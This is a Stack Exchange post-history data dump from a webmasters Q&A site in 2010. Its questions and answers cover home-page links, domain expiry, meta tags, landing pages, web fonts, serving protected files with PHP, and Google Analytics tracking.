  <row Id="5073" PostHistoryTypeId="2" PostId="2616" RevisionGUID="0b6e73ae-9c3f-405e-99b0-2dffe1850a8d" CreationDate="2010-08-27T08:04:33.370" UserId="480" Text="Agree with the logo being a link (to the Brand resource), but you can look at it another way, through RESTful design.&#xD;&#xA;&#xD;&#xA;What does the home page resource convey? is it a&#xD;&#xA;&#xD;&#xA; - content [tapas][1]?&#xD;&#xA; - listing of a certain resource type?&#xD;&#xA; - subset of a certain resource?&#xD;&#xA;&#xD;&#xA;The word &quot;Home&quot; on a page does nothing for SEO or explaining &quot;what&quot; can be expected at that page.&#xD;&#xA;&#xD;&#xA;Whilst some users may be trying to get to the beginning of the website, with a RESTful design they would not. If a site is RESTful, it is stateless; not a funnel design through the site which would require a &quot;Home&quot; or &quot;Start again&quot; link. They would more likely be looking for a link for something, not some state.&#xD;&#xA;&#xD;&#xA;If your on site linking strategy were cultivated (and monitored from the perspective of how visitors &quot;use&quot; the links presented) they may never have to think twice about how to get where they want (for instance planning a route from Home to Products, instead of straight to Products).&#xD;&#xA;&#xD;&#xA;**In short** the concept of a link to &quot;Home&quot;, is not RESTful and unlikely to aid SEO. A site featuring a link called &quot;Home&quot; *probably* has not:&#xD;&#xA;&#xD;&#xA; - reviewed the way visitors use links&#xD;&#xA; - designed the structure of the site around resources&#xD;&#xA; - made the website in a stateless manner&#xD;&#xA;&#xD;&#xA;However a link back to the root page (whatever resource that is) would be a requirement for hypermedia.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Tapas" />
  <row Id="5074" PostHistoryTypeId="5" PostId="2616" RevisionGUID="b3815d9c-f5e7-4773-b3ec-a46e76167187" CreationDate="2010-08-27T08:10:56.060" UserId="480" Comment="added 71 characters in body" Text="Agree with the logo being a link (to the Brand resource), but you can look at it another way, through RESTful design.&#xD;&#xA;&#xD;&#xA;What does the home page resource convey? is it a&#xD;&#xA;&#xD;&#xA; - content [tapas][1]?&#xD;&#xA; - listing of a certain resource type?&#xD;&#xA; - subset of a certain resource?&#xD;&#xA;&#xD;&#xA;The word &quot;Home&quot; on a page does nothing for SEO or explaining &quot;what&quot; can be expected at that page.&#xD;&#xA;&#xD;&#xA;Whilst some users may be trying to get to the beginning of the website, with a RESTful design they would not. If a site is RESTful, it is stateless; not a funnel design through the site which would require a &quot;Home&quot; or &quot;Start again&quot; link. They would more likely be looking for a link for something, not some state.&#xD;&#xA;&#xD;&#xA;If your on site linking strategy were cultivated (and monitored from the perspective of how visitors &quot;use&quot; the links presented) they may never have to think twice about how to get where they want (for instance planning a route from Home to Products, instead of straight to Products).&#xD;&#xA;&#xD;&#xA;**In short** the concept of a link to &quot;Home&quot;, is not RESTful and unlikely to aid SEO. A site featuring a link called &quot;Home&quot; *probably* has not:&#xD;&#xA;&#xD;&#xA; - reviewed the way visitors use links&#xD;&#xA; - designed the structure of the site around resources&#xD;&#xA; - made the website in a stateless manner&#xD;&#xA;&#xD;&#xA;However a link back to the root page (whatever resource that is) would be a requirement for hypermedia and under almost all circumstances it'll have a name other than &quot;Home&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Tapas" />
  <row Id="5075" PostHistoryTypeId="2" PostId="2617" RevisionGUID="319aa540-ae32-47c1-baaa-6dca8ed521a1" CreationDate="2010-08-27T11:13:38.800" UserId="706" Text="What happens if I have a .com domain, and don't pay for the next year in time?&#xD;&#xA;&#xD;&#xA;Is the domain locked for some time? or can anyone else register it the day after?" />
  <row Id="5076" PostHistoryTypeId="1" PostId="2617" RevisionGUID="319aa540-ae32-47c1-baaa-6dca8ed521a1" CreationDate="2010-08-27T11:13:38.800" UserId="706" Text="What happens if I don't pay for my .com domain in time?" />
  <row Id="5077" PostHistoryTypeId="3" PostId="2617" RevisionGUID="319aa540-ae32-47c1-baaa-6dca8ed521a1" CreationDate="2010-08-27T11:13:38.800" UserId="706" Text="&lt;domains&gt;" />
  <row Id="5078" PostHistoryTypeId="2" PostId="2618" RevisionGUID="95963eb5-1d96-46af-a3c6-1352b327767b" CreationDate="2010-08-27T11:26:59.730" UserId="576" Text="In the list of ccTLDs in the Wikipedia article you mentioned, each ccTLD has its own Wikipedia page. In the infobox (on the right) for each country’s page, there is a row titled **Registration restrictions** that may be useful to you.&#xD;&#xA;&#xD;&#xA;Alternatively, you could check links to country specific registration policies that are mentioned in [this listing][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mxr.mozilla.org/mozilla-central/source/netwerk/dns/effective_tld_names.dat?raw=1" />
  <row Id="5079" PostHistoryTypeId="16" PostId="2618" RevisionGUID="95963eb5-1d96-46af-a3c6-1352b327767b" CreationDate="2010-08-27T11:26:59.730" UserId="-1" />
  <row Id="5080" PostHistoryTypeId="2" PostId="2619" RevisionGUID="f9a6f2a9-801c-40ca-b15e-2c7bf1e04ad8" CreationDate="2010-08-27T11:29:57.463" UserId="221" Text="Your registrar may have a grace period (check with them!) but in theory it will be up for grabs.&#xD;&#xA;&#xD;&#xA;Of course, if you have a trademark that matches the domain name you could probably get it back. But if you are big enough to have a trademark you should be paying a few years in advance and making sure to renew in a timely manner." />
  <row Id="5081" PostHistoryTypeId="2" PostId="2620" RevisionGUID="20d914ae-7d0b-4b14-92db-50419841412d" CreationDate="2010-08-27T13:00:45.130" UserId="1429" Text="[I found out this article][1], here it says some SEO in India think using the meta tag title is benifical foR rankings. But I believe this can not be the answer because if StackExchange does not add mete tag description that should be benefical for Google indexing, I don't see the purpose of adding a META TITLE tag.&#xD;&#xA;&#xD;&#xA;Moreover [Google official webiste list the tag they understand][2] and the META TITLE tag is not there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmarketingnow.com/tips/meta-title.html&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812" />
  <row Id="5083" PostHistoryTypeId="2" PostId="2622" RevisionGUID="682cb91b-1223-48af-9b43-3a6b6c172175" CreationDate="2010-08-27T13:13:26.437" UserId="1253" Text="I wouldn't worry about using the meta title tag. It almost certainly has no SEO value since it is redundant with the true `&lt;title&gt;` tag but unlike the `&lt;title&gt;` it has no effect on the page's content or browser display so it is ripe for abuse and serves no actual purpose content wise. (FYI, that's also why the keyword and description meta tags have no SEO value).&#xD;&#xA;&#xD;&#xA;`&lt;speculation&gt;`If I was going to attribute any meaning to that meta title tag it would be to convey the actual title of a document as opposed to the `&lt;title&gt;` tage which may be used simply to display a title in the browser window. In other words the author will use the `&lt;title&gt;` tag to make sure the user sees something helpful in their browser title bar and the meta title tag provides the user agent with the true title of the document. I can't think of too many cases where this would be useful but it may be possible.`&lt;/speculation&gt;`&#xD;&#xA;&#xD;&#xA;On the side, I wonder why the StackExchange sites don't use the meta description tag? Since it may be what is displayed on SERPs it can only be a good thing. Then again, they tend to do so well in search anyways due to their popularity (aka link popularity) that they simply may not need them." />
  <row Id="5085" PostHistoryTypeId="2" PostId="2623" RevisionGUID="55f694ea-99ef-4bc6-a84c-a7fd5949c44d" CreationDate="2010-08-27T13:34:02.363" UserId="1725" Text="Something ending with the sound of &quot;democracy&quot; eg, knolocracy. (google Knol + democracy).&#xD;&#xA;&#xD;&#xA;Since you were somewhat vague in what the site is specific to:&#xD;&#xA;Webocracy." />
  <row Id="5086" PostHistoryTypeId="2" PostId="2624" RevisionGUID="04aeaa75-0724-406e-a9d3-bd90b85128f9" CreationDate="2010-08-27T13:40:31.887" UserId="1725" Text="It's new crimeware related to exploiting facebook.&#xD;&#xA;&#xD;&#xA;eg,&#xD;&#xA;&#xD;&#xA;&lt;&#xD;&#xA;&#xD;&#xA;    script&gt;&#xD;&#xA;    function fbs_click() {&#xD;&#xA;    u=location.href;&#xD;&#xA;    t=document.title;&#xD;&#xA;    window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&amp;t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');&#xD;&#xA;    return false;&#xD;&#xA;    }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;a href=&quot;http://www.facebook.com/share.php?u=&lt;url&gt;&quot; onclick=&quot;return fbs_click()&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://b.static.ak.fbcdn.net/rsrc.php/zAB5S/hash/4273uaqa.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;They're looking for some facebook images that are hashed names for stuff. If you look at that link it's the same namesake as a facebook gif. The crimeware is poorly written.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: it may not all be crimeware, just cruddy browser plugins. At any rate, more of these file names are on facebook dev sites. http://forum.developers.facebook.net/viewtopic.php?pid=254475" />
  <row Id="5087" PostHistoryTypeId="2" PostId="2625" RevisionGUID="da543e11-5cf6-4873-a518-e91f8c622abb" CreationDate="2010-08-27T14:14:43.513" UserId="798" Text="I use the HighSlide (.com) lightbox. My implementation can be viewed [here][2]. Select an album, then click on a photo. Thumbnails are at the bottom of the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://www.fietsclub-aad-remunj.nl/pagina/fotoalbum" />
  <row Id="5088" PostHistoryTypeId="5" PostId="2560" RevisionGUID="cb58f2f9-e343-4f5a-870a-31ab1f1464bc" CreationDate="2010-08-27T15:53:42.093" UserId="236" Comment="edited body" Text="Depends on how high quality these domain names are. If you think you could get a decent price for them at auction, I would go that route. Otherwise, I would let them expire and make their way into the market." />
  <row Id="5089" PostHistoryTypeId="5" PostId="2612" RevisionGUID="4cbc28c3-5b94-4d8b-871d-4af4c2f9af5d" CreationDate="2010-08-27T16:39:12.133" UserId="745" Comment="added 89 characters in body" Text="Take a look at the [SEOmoz API][1]. I haven't used it, but I generally find that SEOmoz is a smart company that does their homework, so they would be the first place I would check. They have a [free version][2] for up to 1 million links, anchor texts, or pages per month and a [paid version][3] for a starting rate of $500/month. They also offer developer accounts, but you need to contact them for access. &#xD;&#xA;&#xD;&#xA;**Edit**: Also see [Open Site Explorer][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/api&#xD;&#xA;  [2]: http://apiwiki.seomoz.org/SEOmoz-Free-API&#xD;&#xA;  [3]: http://apiwiki.seomoz.org/SEOmoz-Site-Intelligence-APIs&#xD;&#xA;  [4]: http://www.opensiteexplorer.org/" />
  <row Id="5094" PostHistoryTypeId="2" PostId="2627" RevisionGUID="9589cafd-0f80-4e73-94f2-26d7002f8963" CreationDate="2010-08-27T17:45:00.313" UserId="1429" Text="After reading [here what's a landing page is][1] and some other articles i understood there are 2 types of landing pages, the Ad ones for commercial and the SEO ones.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**AD (COMMERCIAL) LANDING PAGES**&#xD;&#xA;&#xD;&#xA;In my understanding the Commercial/Ad landing page is **created mainly to have a commercial Ad (like Adwords on Google) to link directly to such landing page**. This landing pages are supposed to be in some way tailored to the text of the Google Ad and designed in order to trigger user action.&#xD;&#xA;&#xD;&#xA;An example could be a website that sells gold, silver and cooper medals. A Google Ad that says: &quot;Buy silver medal&quot; and links to landing page that shows more specifically the silver medals (rather than all medals) and maybe some promotional offer with a big &quot;Buy Now&quot; button.&#xD;&#xA;&#xD;&#xA;The advantages of creating this type of landing page is that user who got interested in the &quot;Buy silver medal&quot; advertizement and clicked on it, is probably more willing to buy something if he LANDS on a page talking specifically about silver medals, rather than landing on the website HOME PAGE that shows up all sort of medals and NOT specifically the silver ones.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**SEO LANDING PAGES**&#xD;&#xA;&#xD;&#xA;Still in my understanding, on the other side, the SEO landing pages are supposed to be in very simple terms **pages with some sort of interesting contents (that maybe also insists on some key phrases)** in order to bring attention and reputation from the WWW to that page and indirectly to your website.&#xD;&#xA;&#xD;&#xA;Reputation and interest to the SEO landing page is mainly generated because many people are gonna link to that page or talk about it in forums/blogs/twitter...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1. **Did I understood well the differences between the two type of landing pages?**&#xD;&#xA;&#xD;&#xA;2. **Are Ad (Commercial) landing pages supposed to have an inlink from the website they promote? I would say no** cause there is no reason to give any sort of reputation to these type of pages, and we would also loose the ability to see how many visitors arrived on my website from the landing page (in other words how many visitors arrived on my website from the Ad campaigns). I would not even make Ad landing pages being indexed by search engines, in this way by counting the visits to the landing page I have a better approximation of the results of my Ad campaign.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/343/whats-a-landing-page" />
  <row Id="5095" PostHistoryTypeId="1" PostId="2627" RevisionGUID="9589cafd-0f80-4e73-94f2-26d7002f8963" CreationDate="2010-08-27T17:45:00.313" UserId="1429" Text="Landing pages explained more, and Ad landing pages need inlink from the webiste they promote?" />
  <row Id="5096" PostHistoryTypeId="3" PostId="2627" RevisionGUID="9589cafd-0f80-4e73-94f2-26d7002f8963" CreationDate="2010-08-27T17:45:00.313" UserId="1429" Text="&lt;seo&gt;&lt;advertising&gt;&lt;links&gt;&lt;landing-page&gt;" />
  <row Id="5097" PostHistoryTypeId="2" PostId="2628" RevisionGUID="b0015676-4bda-4a4a-ab68-7187f0ca6880" CreationDate="2010-08-27T18:05:27.160" UserId="1489" Text="I have a system (web based application) which pulls file attachments from a 3rd party system via SOAP.  These are in turn on our system created as files in a directory.  &#xD;&#xA;&#xD;&#xA;When a user of the system (authenticated through ldap) makes a request to my application to retrieve one of these attachments:&#xD;&#xA;&#xD;&#xA;    1. I request it via soap&#xD;&#xA;    2. Process the response to build the file on our system&#xD;&#xA;    3. Redirect user to the location so they can download the file.  &#xD;&#xA;&#xD;&#xA;First off, is this a good approach?  &#xD;&#xA;&#xD;&#xA;Is there a better way to serve up files which will not reside on the server much after the attachment download (cron job will clean up the directory every so often)?  &#xD;&#xA;&#xD;&#xA;Secondly, is there a way I can serve files through apache without storing them in the web root?  &#xD;&#xA;&#xD;&#xA;Thirdly, how do I enforce permissions on these files so not just any user can download just any attachment?  &#xD;&#xA;&#xD;&#xA;Our Setup:&#xD;&#xA;&#xD;&#xA;    linux&#xD;&#xA;    apache&#xD;&#xA;    php - soap libraries for communication &#xD;&#xA;    seperate LDAP for authentication&#xD;&#xA;    3rd party soap server (where attachments come from) &#xD;&#xA;" />
  <row Id="5098" PostHistoryTypeId="1" PostId="2628" RevisionGUID="b0015676-4bda-4a4a-ab68-7187f0ca6880" CreationDate="2010-08-27T18:05:27.160" UserId="1489" Text="Permissions for serving up temporary files" />
  <row Id="5099" PostHistoryTypeId="3" PostId="2628" RevisionGUID="b0015676-4bda-4a4a-ab68-7187f0ca6880" CreationDate="2010-08-27T18:05:27.160" UserId="1489" Text="&lt;apache&gt;" />
  <row Id="5100" PostHistoryTypeId="5" PostId="2627" RevisionGUID="fd36ae71-2434-4617-be61-010dfe0fb704" CreationDate="2010-08-27T18:06:40.840" UserId="108" Comment="Made English Good." Text="After reading [here what's a landing page is][1] and some other articles i understood there are 2 types of landing pages, the Ad ones for commercial and the SEO ones.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**AD (COMMERCIAL) LANDING PAGES**&#xD;&#xA;&#xD;&#xA;In my understanding the Commercial/Ad landing page is **created mainly to have a commercial Ad (like Adwords on Google) to link directly to such landing page**. This landing pages are supposed to be in some way tailored to the text of the Google Ad and designed in order to trigger user action.&#xD;&#xA;&#xD;&#xA;An example could be a website that sells gold, silver and copper medals. A Google Ad that says: &quot;Buy silver medal&quot; and links to landing page that shows more specifically the silver medals (rather than all medals) and maybe some promotional offer with a big &quot;Buy Now&quot; button.&#xD;&#xA;&#xD;&#xA;The advantages of creating this type of landing page is that a user who was interested in the &quot;Buy silver medal&quot; advertisement and clicked on it, was probably more willing to buy something if he LANDS on a page talking specifically about silver medals, rather than landing on the website HOME PAGE that shows up all sort of medals and NOT specifically the silver ones.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**SEO LANDING PAGES**&#xD;&#xA;&#xD;&#xA;Still in my understanding, on the other side, the SEO landing pages are supposed to be in very simple terms **pages with some sort of interesting contents (that maybe also insists on some key phrases)** in order to bring attention and reputation from the WWW to that page and indirectly to your website.&#xD;&#xA;&#xD;&#xA;Reputation and interest to the SEO landing page is mainly generated because many people are gonna link to that page or talk about it in forums, blogs,twitter, etc&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1. **Did I understood the differences between the two type of landing pages?**&#xD;&#xA;&#xD;&#xA;2. **Are Ad (Commercial) landing pages supposed to have an inlink from the website they promote? I would say no** cause there is no reason to give any sort of reputation to these type of pages, and we would also loose the ability to see how many visitors arrived on my website from the landing page (in other words how many visitors arrived on my website from the Ad campaigns). I would not even make Ad landing pages being indexed by search engines, in this way by counting the visits to the landing page I have a better approximation of the results of my Ad campaign.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/343/whats-a-landing-page" />
  <row Id="5101" PostHistoryTypeId="2" PostId="2629" RevisionGUID="04089fd8-a1c7-4e68-ad67-0dfb16b69a98" CreationDate="2010-08-27T18:10:57.933" UserId="108" Text=" 1. I think you understand the difference very well.&#xD;&#xA; 2. In general it is better to get sales than to make things so &quot;clean.&quot;  What I mean by that is that you might not want to link from your main site to the landing page so PageRank flows to it but I would see no reason not to let the search engines crawl your landing page.  Any extra traffic is a good thing.  If the concern is tracking how much money you ad campaign is making, remember it is always easy enough to add tracking to your landing page through Google that will allow you to see what percentage of people are buying from the ads and what percentage are just coming straight from SERP." />
  <row Id="5102" PostHistoryTypeId="2" PostId="2630" RevisionGUID="847bc9c7-a9e4-48b5-82dd-327137b89fb3" CreationDate="2010-08-27T18:11:48.803" UserId="1759" Text="it sounds as if you're creating a hub. " />
  <row Id="5103" PostHistoryTypeId="2" PostId="2631" RevisionGUID="874926b4-0880-4156-ab65-3b4e7027c16f" CreationDate="2010-08-27T18:16:52.713" UserId="108" Text="I have read that I should make the contents of my `&lt;title&gt;` and `&lt;h1&gt;` tags the same.  &#xD;&#xA;&#xD;&#xA;Is that the case or is does Google look at the content of those 2 tags separately?" />
  <row Id="5104" PostHistoryTypeId="1" PostId="2631" RevisionGUID="874926b4-0880-4156-ab65-3b4e7027c16f" CreationDate="2010-08-27T18:16:52.713" UserId="108" Text="Should my Title tag be the same as my H1 tag?" />
  <row Id="5105" PostHistoryTypeId="3" PostId="2631" RevisionGUID="874926b4-0880-4156-ab65-3b4e7027c16f" CreationDate="2010-08-27T18:16:52.713" UserId="108" Text="&lt;seo&gt;&lt;html&gt;" />
  <row Id="5106" PostHistoryTypeId="2" PostId="2632" RevisionGUID="8f43a383-5296-4d5f-8242-7270bb3fdec8" CreationDate="2010-08-27T18:22:41.843" UserId="1323" Text="With all the Open Source fonts I have available, and I can download them via the CSS font directive, what's the benefit of the TypeKit API?&#xD;&#xA;&#xD;&#xA;Are there drawbacks of this?  How does it work technically?  Are there certain ways of constructing my website I should avoid?" />
  <row Id="5107" PostHistoryTypeId="1" PostId="2632" RevisionGUID="8f43a383-5296-4d5f-8242-7270bb3fdec8" CreationDate="2010-08-27T18:22:41.843" UserId="1323" Text="What's the pro/cons of Adobe TypeKit API? Any best practices?" />
  <row Id="5108" PostHistoryTypeId="3" PostId="2632" RevisionGUID="8f43a383-5296-4d5f-8242-7270bb3fdec8" CreationDate="2010-08-27T18:22:41.843" UserId="1323" Text="&lt;css&gt;&lt;website-design&gt;&lt;cdn&gt;&lt;typography&gt;&lt;fonts&gt;" />
  <row Id="5109" PostHistoryTypeId="2" PostId="2633" RevisionGUID="3de2bf70-8bcd-4bb2-97bf-64aeed94d046" CreationDate="2010-08-27T18:30:49.067" UserId="1253" Text="There's so much more to building a page then SEO. I wish SEO websites would keep that in mind when making suggestions like that.&#xD;&#xA;&#xD;&#xA;Typically the `&lt;h1&gt;` tag is to contain the title of the page. Well, the `&lt;title&gt;` tag does that, too. They're sort of redundant in that regard. But because the `&lt;title&gt;` is what a user sees in the taskbar (in Windows) and is what is saved in bookmarks (if they don't change it), you may want to make the `&lt;title&gt;`shorter for readability in the taskbr or as a bookmark.&#xD;&#xA;&#xD;&#xA;As far as SEO goes, just make sure they each contain keywords that accurately describe what the content is about. Each is weighed individually as they should be. " />
  <row Id="5110" PostHistoryTypeId="2" PostId="2634" RevisionGUID="9b849226-596a-4dcf-91fa-c5cef1588890" CreationDate="2010-08-27T18:35:04.997" UserId="745" Text="To answer your **first question**, yes, but there isn't always such a clear distinction. *Every* page on your website should be viewed as a landing page because every page should have a specific purpose for existing, i.e. what you want the user to do. The difference lies in what that purpose is.&#xD;&#xA;&#xD;&#xA;It's a good practice to tailor your page to where you think your visitors will be coming from. &#xD;&#xA;&#xD;&#xA;For ad campaigns, you should be careful to match the ad text, offer, and expectations to what is actually on the landing page. You'll convert a higher percentage of visitors this way. And you're right, your commercial landing pages should be as specific as possible. What's more, you should get rid of anything that isn't relevant to the offer at hand as it can cause a distraction. &#xD;&#xA;&#xD;&#xA;As to your **second question**, you don't have to link to these pages, but if they convert well, I don't see a reason why you shouldn't as long as you have an analytics program that can tell you where your visitors are coming from. (Note: you can synch Google Adwords and Analytics together.) You can certainly create a commercial landing page that is optimized for SEO. In fact, I would encourage it because it means less work than creating two.&#xD;&#xA;&#xD;&#xA;The same principle of matching the title (and description) text, offer, and promise to the page also applies to SEO (and social media). Not that it necessarily helps your rankings, but it will help your conversion rates, which is even more important. It's important not to lose sight of the page's purpose while trying to optimize for SEO. Should you include your keywords in your title? Yes, but the trick is doing it in a way that will make the user click to go to your page.&#xD;&#xA;&#xD;&#xA;Once a visitor is on your page, whether it's commercial or not, you want them to *do something* specific. The page's responsibility should be to convert your visitor by getting them to perform whatever action you want them to do: buy something, subscribe to an email list, register to your site, leave a comment, contact you, etc. This is called a **primary call to action** and it should be your first priority.&#xD;&#xA;&#xD;&#xA;&gt; The best converting landing pages&#xD;&#xA;&gt; occur when a user's primary goal and&#xD;&#xA;&gt; the page's primary call to action are&#xD;&#xA;&gt; the same.&#xD;&#xA;&#xD;&#xA;You can also have **secondary calls to action**. These should be related to the primary call to action, but represent *less of a commitment*. For example, if your primary call is to buy a widget, your secondary call could be to find out more about the widget's feature or to see a pricing plan.&#xD;&#xA;&#xD;&#xA;As a summary, all pages should be viewed as a landing page. When creating a page it's important to always think about both what you want the user to do and what the user wants to do. Try to find ways to align those priorities. Clear away any distractions from every page. Finally, always keep in mind why a user is coming to your page and try to match those expectations. " />
  <row Id="5111" PostHistoryTypeId="2" PostId="2635" RevisionGUID="046ef509-7210-4aa5-8429-9fc8e8ddde92" CreationDate="2010-08-27T18:38:43.237" UserId="1253" Text="&gt; First off, is this a good approach?&#xD;&#xA;&#xD;&#xA;Sound fine to me. Just make sure you authenticate the user before going through all of that.&#xD;&#xA;&#xD;&#xA;&gt; Is there a better way to serve up&#xD;&#xA;&gt; files which will not reside on the&#xD;&#xA;&gt; server much after the attachment&#xD;&#xA;&gt; download (cron job will clean up the&#xD;&#xA;&gt; directory every so often)?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Secondly, is there a way I can serve&#xD;&#xA;&gt; files through apache without storing&#xD;&#xA;&gt; them in the web root?&#xD;&#xA;&#xD;&#xA;Put the files outside of the webroot. Then using PHP pass the file though a script. That way no one can link to the file directly and bypass your controls. (Naturally make sure the script that does this only after verifying the user has permission to retrieve that file).&#xD;&#xA;&#xD;&#xA;Sample PHP:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        if (!isset($_SESSION['authenticated']))&#xD;&#xA;        {&#xD;&#xA;            exit;&#xD;&#xA;        }&#xD;&#xA;        $file = '/path/to/file/outside/www/secret.pdf';&#xD;&#xA;    &#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header('Expires: 0');&#xD;&#xA;        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xD;&#xA;        header('Pragma: public');&#xD;&#xA;        header('Content-Length: ' . filesize($file));&#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;&gt; Thirdly, how do I enforce permissions&#xD;&#xA;&gt; on these files so not just any user&#xD;&#xA;&gt; can download just any attachment?&#xD;&#xA;&#xD;&#xA;Make the users log in to retrieve their files. Then you can set a session variable identifying them as being allowed to download. Make sure your scripts authenticate them on every page of this process." />
  <row Id="5112" PostHistoryTypeId="5" PostId="2633" RevisionGUID="dbc2376d-a8e5-4836-a3f3-f5f2db92ae36" CreationDate="2010-08-27T18:45:45.550" UserId="1253" Comment="added 49 characters in body" Text="There's so much more to building a page then SEO. I wish SEO websites would keep that in mind when making suggestions like that.&#xD;&#xA;&#xD;&#xA;Typically the `&lt;h1&gt;` tag is to contain the title of the page (which should summarize the content on the page). Well, the `&lt;title&gt;` tag does that, too. They're sort of redundant in that regard. But because the `&lt;title&gt;` is what a user sees in the taskbar (in Windows) and is what is saved in bookmarks (if they don't change it), you may want to make the `&lt;title&gt;`shorter for readability in the taskbr or as a bookmark.&#xD;&#xA;&#xD;&#xA;As far as SEO goes, just make sure they each contain keywords that accurately describe what the content is about. Each is weighed individually as they should be. " />
  <row Id="5113" PostHistoryTypeId="2" PostId="2636" RevisionGUID="93eef956-5bab-4091-9dd1-5e7efdf051a8" CreationDate="2010-08-27T19:41:30.607" UserId="480" Text="Annoyingly on-line fonts are not supported by all browsers (Opera on the iPhone being a [pet peeve][1]).&#xD;&#xA;&#xD;&#xA;Google Fonts [pure CSS system][2] seems to work better than the alternatives, but you can end up with a [FoUC][3] on many browsers.&#xD;&#xA;&#xD;&#xA;Google Font API &quot;[...was co-developed by Google and TypeKit][4]&quot; so I hope the following experience is similar enough:&#xD;&#xA;&#xD;&#xA;- the JavaScript library is quite light, but watch out for any serious increase in latency from the extra DNS lookups and HTTP connections that may be caused by cross-domain resources&#xD;&#xA;&#xD;&#xA;- using the JSAPI version is quite slow on an empty cache (as a side note you also [can't combine JS requests into one big file][5])&#xD;&#xA;&#xD;&#xA;- being able to declare the fonts needed separately from the JavaScript include allows for post-loading the library and really helps with (X)HTML template flexibility&#xD;&#xA;&#xD;&#xA;- the extra paint events triggered when the JavaScript library re-paints the entire screen by changing page-wide classes will mean your CSS has to be efficient ([Google offer a guide on this][6])&#xD;&#xA;&#xD;&#xA;- whilst having to declare italics and different weights with some fonts decreases the download size, it adds an extra burden to either the designer or the programmer&#xD;&#xA;&#xD;&#xA;- custom fonts, used tastefully, look beautiful&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pet_peeve&#xD;&#xA;  [2]: http://code.google.com/webfonts&#xD;&#xA;  [3]: http://www.bluerobot.com/web/css/fouc.asp/&#xD;&#xA;  [4]: http://code.google.com/apis/webfonts/docs/webfont_loader.html&#xD;&#xA;  [5]: http://webmasters.stackexchange.com/questions/1042/google-jsapi-auto-loading&#xD;&#xA;  [6]: http://code.google.com/speed/page-speed/docs/rendering.html" />
  <row Id="5117" PostHistoryTypeId="5" PostId="2611" RevisionGUID="02623e17-47ad-4c6d-96c0-d8593014b78b" CreationDate="2010-08-27T19:51:09.403" UserId="1327" Comment="deleted 58 characters in body" Text="Since the [Yahoo Site Explorer Web Services API is going away at the end of 2010](http://help.yahoo.com/l/us/yahoo/search/siteexplorer/alliance-7.html), are there any other web search APIs that offer similar information?&#xD;&#xA;&#xD;&#xA;In particular, I'm interested in services similar to [Inbound Links API](http://developer.yahoo.com/search/siteexplorer/V1/inlinkData.html) and [PageData API](http://developer.yahoo.com/search/siteexplorer/V1/pageData.html).&#xD;&#xA;&#xD;&#xA;I've heard a little bit about Majestic SEO, but don't know much about what they can offer in terms of APIs.&#xD;&#xA;&#xD;&#xA;Information about them or any other service is much appreciated. :)" />
  <row Id="5118" PostHistoryTypeId="2" PostId="2638" RevisionGUID="77c92efa-afe4-46ab-903e-d60fb6470274" CreationDate="2010-08-27T20:24:27.180" UserId="1761" Text="If I start using the UTM links in Google Analytics to try and track the conversion rate on for instance, search results, or product recommendations, will I be getting an accurate representation of those section's performance or will it be skewed because it is tracking the user's behavior all the time after they click one of those links?&#xD;&#xA;&#xD;&#xA;In other words, if Page A links to Page B, with UTM info baked into the url, will Analytics give credit only for what they do on Page B, or if they continue to browse around will Analytics give credit for Page C, Page D, and so on?&#xD;&#xA;&#xD;&#xA;I want to find out how much we are making with product Recommendations, and I want to start tracking some other parts of the site too, like our Top 10 list in our sidebar, or stuff like that." />
  <row Id="5119" PostHistoryTypeId="1" PostId="2638" RevisionGUID="77c92efa-afe4-46ab-903e-d60fb6470274" CreationDate="2010-08-27T20:24:27.180" UserId="1761" Text="Can I use UTM urls in Google Analytics to track the performance of different *sections* of my site?" />
  <row Id="5120" PostHistoryTypeId="3" PostId="2638" RevisionGUID="77c92efa-afe4-46ab-903e-d60fb6470274" CreationDate="2010-08-27T20:24:27.180" UserId="1761" Text="&lt;google-analytics&gt;&lt;url&gt;&lt;tracking&gt;" />
